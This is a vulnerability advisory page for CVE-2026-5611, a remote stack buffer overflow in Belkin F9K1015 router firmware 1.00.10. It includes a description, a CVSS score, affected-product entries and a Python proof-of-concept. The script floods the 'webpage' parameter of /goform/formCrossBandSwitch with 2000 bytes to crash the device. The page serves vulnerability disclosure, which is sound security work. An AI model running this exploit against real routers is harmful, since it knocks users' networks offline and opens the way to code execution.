Security Vulnerability Report
中文
CVE-2026-5611 CVSS 8.8 HIGH

CVE-2026-5611

Published: 2026-04-06 03:16:08
Last Modified: 2026-04-30 13:47:23

Description

A vulnerability was found in Belkin F9K1015 1.00.10. This affects the function formCrossBandSwitch of the file /goform/formCrossBandSwitch. Performing a manipulation of the argument webpage results in stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:belkin:f9k1015_firmware:1.00.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:belkin:f9k1015:-:*:*:*:*:*:*:* - NOT VULNERABLE
Belkin F9K1015 1.00.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ PoC for CVE-2026-5611 Stack-based Buffer Overflow Target: Belkin F9K1015 v1.00.10 Endpoint: /goform/formCrossBandSwitch Parameter: webpage """ url = f"http://{target_ip}/goform/formCrossBandSwitch" # Construct a payload to trigger the buffer overflow. # The exact length needed to overwrite EIP depends on the specific buffer size. # This example sends a large pattern to cause a crash (DoS). buffer_size = 2000 payload = "A" * buffer_size data = { "webpage": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Response status code: {response.status_code}") print("[+] Payload sent. Check if the device has crashed or if code execution was achieved.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] This might indicate a successful DoS (crash).") if __name__ == "__main__": target = "192.168.2.1" # Replace with the target IP address exploit_poc(target)

References

Raw JSON Data

JSON
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